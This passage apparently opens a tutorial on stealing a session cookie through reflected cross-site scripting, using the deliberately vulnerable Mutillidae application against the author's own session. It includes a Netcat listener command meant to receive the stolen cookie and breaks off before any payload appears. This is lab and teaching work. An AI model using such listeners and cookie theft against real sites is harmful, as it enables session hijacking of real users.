Simple proof on concept stealing cookies on a page vulnerable to XSS. Using Mutillidae as a vulnerable application, I’ll perform reflective cross-site scripting against myself and steal my own session cookie.
First, I’ll set up a listener using Netcat:
C:\Tools>nc -nlvp 4321
I’ll navigate to the vulnerable page: